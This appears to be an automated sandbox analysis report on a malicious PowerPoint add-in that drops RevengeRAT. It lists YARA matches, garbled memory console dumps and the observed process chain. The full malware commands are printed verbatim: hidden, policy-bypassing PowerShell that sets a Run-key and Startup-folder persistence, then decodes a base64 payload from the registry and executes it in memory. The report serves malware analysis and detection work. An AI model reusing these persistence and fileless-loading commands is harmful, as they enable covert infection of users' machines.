Source: 00000015.00000002.418650653.0000000001E00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 00000015.00000002.418650653.0000000001E00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 00000015.00000002.418672455.000000000292D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 0000000E.00000002.432730170.000000000261D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 00000027.00000002.1046335192.0000000002A23000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 00000027.00000002.1046335192.00000000026FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: Process Memory Space: powershell.exe PID: 3864, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 2688, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3548, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3952, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: classification engine Classification label: mal100.troj.expl.evad.winPPAM@40/40@1/2
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE File created: C:\Users\user\Application Data\Microsoft\Forms Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\f9796de67e
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE File created: C:\Users\user\AppData\Local\Temp\CVR7667.tmp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RRvZwfR.vbs"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................Pe.............................}..w.............................1......(.P..............3...................... ............... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@........................<c.....}..w.....<c.......R........$.....lf.....(.P.....|............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@...............9.e......<c.....}..w.....<c.......R........$.....lf.....(.P.....|.......................f....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@........................<c.....}..w.....<c.......R........$.....lf.....(.P.....|...............8............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@...............9.e......<c.....}..w.....<c.......R........$.....lf.....(.P.....|............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@........................<c.....}..w.....<c.......R........$.....lf.....(.P.....|...............8............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@...............9.e......<c.....}..w.....<c.......R........$.....lf.....(.P.....|.......................d....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@........................<c.....}..w.....<c.......R........$.....lf.....(.P.....|...............8............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@........................<c.....}..w.....<c.......R........$.....lf.....(.P.....|...............8............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@...............9.e......<c.....}..w.....<c.......R........$.....lf.....(.P.....|.......................\....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@........................<c.....}..w.....<c.......R........$.....lf.....(.P.....|...............8............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@...............P.S.C.h.i.l.d.N.a.m.e. . .:. .R.u.n........$.....lf.....(.P.....|...............8.......$....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@...................C.h.i.l.d.N.}..w.... .:. .R.u.n........$.....lf.....(.P.....|...............8............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@...............P.S.D.r.i.v.e. . . . . . .:. .H.K.C.U......$.....lf.....(.P.....|...............8.......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@...................D.r.i.v.e. .}..w.... .:. .H.K.C.U......$.....lf.....(.P.....|...............8............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@...............9.e......<c.....}..w.....<c.......R........$.....lf.....(.P.....|.......................b....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@........................<c.....}..w.....<c.......R........$.....lf.....(.P.....|...............8............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................@........................<c.....}..w.....<c.......R........$.....lf.....(.P.....|............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................`........................<c.....}..w.....<c.......R........$.....lf.....(.P.....|............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................`........................<c.....}..w.....<c.......R........$.....lf.....(.P.....|............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................P.S. .C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.A.u.t.o.I.t.3.>. .............%.....F....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................Pe.............P.S. .C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.A.u.t.o.I.t.3.>. ....3......8.......F.........;............. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................Pe.............P.S. .C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.A.u.t.o.I.t.3.>. ....3......X.(.....F........,A............. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................Pe.............................}..w.............................1......(.P..............3......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x.........................H.....}..w......H.......R........$.....lf.....(.P.............p.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x...............9.e.......H.....}..w......H.......R........$.....lf.....(.P.............p...............f.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x.........................H.....}..w......H.......R........$.....lf.....(.P.............p.......H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x...............9.e.......H.....}..w......H.......R........$.....lf.....(.P.............p.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x.........................H.....}..w......H.......R........$.....lf.....(.P.............p.......H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x...............9.e.......H.....}..w......H.......R........$.....lf.....(.P.............p...............d.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x.........................H.....}..w......H.......R........$.....lf.....(.P.............p.......H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x.........................H.....}..w......H.......R........$.....lf.....(.P.............p.......H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x...............9.e.......H.....}..w......H.......R........$.....lf.....(.P.............p...............\.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x.........................H.....}..w......H.......R........$.....lf.....(.P.............p.......H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x...............P.S.C.h.i.l.d.N.a.m.e. . .:. .R.u.n........$.....lf.....(.P.............p.......H.......$.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x...................C.h.i.l.d.N.}..w.... .:. .R.u.n........$.....lf.....(.P.............p.......H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x...............P.S.D.r.i.v.e. . . . . . .:. .H.K.C.U......$.....lf.....(.P.............p.......H.......&.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x...................D.r.i.v.e. .}..w.... .:. .H.K.C.U......$.....lf.....(.P.............p.......H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x...............9.e.......H.....}..w......H.......R........$.....lf.....(.P.............p...............b.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x.........................H.....}..w......H.......R........$.....lf.....(.P.............p.......H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................x.........................H.....}..w......H.......R........$.....lf.....(.P.............p.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................p.........................H.....}..w......H.......R........$.....lf.....(.P.............p.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................p.........................H.....}..w......H.......R........$.....lf.....(.P.............p.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................P.S. .C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.>. ...p.........&.....F.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................Pe.............P.S. .C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.>. ....3..............F.........,.............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................Pe.............................}..w.............................1......(.P..............3........................@.............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................`.?.....}..w....`.?.......R........$.....lf.....(.P.............H.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................9.e.....`.?.....}..w....`.?.......R........$.....lf.....(.P.............H...............f.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................`.?.....}..w....`.?.......R........$.....lf.....(.P.............H.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................9.e.....`.?.....}..w....`.?.......R........$.....lf.....(.P.............H.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................`.?.....}..w....`.?.......R........$.....lf.....(.P.............H.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................9.e.....`.?.....}..w....`.?.......R........$.....lf.....(.P.............H...............d.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................`.?.....}..w....`.?.......R........$.....lf.....(.P.............H.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................`.?.....}..w....`.?.......R........$.....lf.....(.P.............H.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................9.e.....`.?.....}..w....`.?.......R........$.....lf.....(.P.............H...............\.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................`.?.....}..w....`.?.......R........$.....lf.....(.P.............H.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................P.S.C.h.i.l.d.N.a.m.e. . .:. .R.u.n........$.....lf.....(.P.............H...............$.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ....................................C.h.i.l.d.N.}..w.... .:. .R.u.n........$.....lf.....(.P.............H.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................P.S.D.r.i.v.e. . . . . . .:. .H.K.C.U......$.....lf.....(.P.............H...............&.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ....................................D.r.i.v.e. .}..w.... .:. .H.K.C.U......$.....lf.....(.P.............H.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................9.e.....`.?.....}..w....`.?.......R........$.....lf.....(.P.............H...............b.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................`.?.....}..w....`.?.......R........$.....lf.....(.P.............H.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................`.?.....}..w....`.?.......R........$.....lf.....(.P.............H.......H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................`.?.....}..w....`.?.......R........$.....lf.....(.P.............H.......x...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................`.?.....}..w....`.?.......R........$.....lf.....(.P.............H.......x...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................P.S. .C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.>. ...H.........!.....F.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................Pe.............P.S. .C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.>. ....3..............F.........5.............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................Pe.............................}..w.............................1......(.P..............3......................0.-............. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................Pe.............................}..w.............................1......(.P..............3......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h.......................h)J.....}..w....h)J.......R........$.....lf.....(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h...............9.e.....h)J.....}..w....h)J.......R........$.....lf.....(.P.............................f.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h.......................h)J.....}..w....h)J.......R........$.....lf.....(.P.....................8...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h...............9.e.....h)J.....}..w....h)J.......R........$.....lf.....(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h.......................h)J.....}..w....h)J.......R........$.....lf.....(.P.....................8...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h...............9.e.....h)J.....}..w....h)J.......R........$.....lf.....(.P.............................d.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h.......................h)J.....}..w....h)J.......R........$.....lf.....(.P.....................8...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h.......................h)J.....}..w....h)J.......R........$.....lf.....(.P.....................8...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h...............9.e.....h)J.....}..w....h)J.......R........$.....lf.....(.P.............................\.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h.......................h)J.....}..w....h)J.......R........$.....lf.....(.P.....................8...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h...............P.S.C.h.i.l.d.N.a.m.e. . .:. .R.u.n........$.....lf.....(.P.....................8.......$.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h...................C.h.i.l.d.N.}..w.... .:. .R.u.n........$.....lf.....(.P.....................8...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h...............P.S.D.r.i.v.e. . . . . . .:. .H.K.C.U......$.....lf.....(.P.....................8.......&.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h...................D.r.i.v.e. .}..w.... .:. .H.K.C.U......$.....lf.....(.P.....................8...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h...............9.e.....h)J.....}..w....h)J.......R........$.....lf.....(.P.............................b.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h.......................h)J.....}..w....h)J.......R........$.....lf.....(.P.....................8...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h.......................h)J.....}..w....h)J.......R........$.....lf.....(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................`.......................h)J.....}..w....h)J.......R........$.....lf.....(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................`.......................h)J.....}..w....h)J.......R........$.....lf.....(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................PKp.......#.....}..w.....YJ..r...;......`...............(.P.....................................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................Pe.............................}..w.............................1......(.P..............3......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................Pe.............................}..w.............................1......(.P..............3.......................!+.............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: Documentosrs.ppam ReversingLabs: Detection: 26%
Source: Documentosrs.ppam Virustotal: Detection: 19%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE "C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" /AUTOMATION -Embedding
Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\Desktop\Documentosrs.ppam"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE "C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\user\Desktop\Documentosrs.ppam"
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process created: C:\Windows\System32\wscript.exe wscript C:\Users\user\AppData\Roaming/RG.js
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: unknown Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\RG.js"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: unknown Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\RG.js"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RRvZwfR.vbs"
Source: unknown Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RG.js"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RG.js'));wscript 'C:\Users\user\AppData\Roaming\RG.js'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" C:\Users\user\AppData\Roaming\RG.js
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE "C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\user\Desktop\Documentosrs.ppam" Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process created: C:\Windows\System32\wscript.exe wscript C:\Users\user\AppData\Roaming/RG.js Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))" Jump to behavior
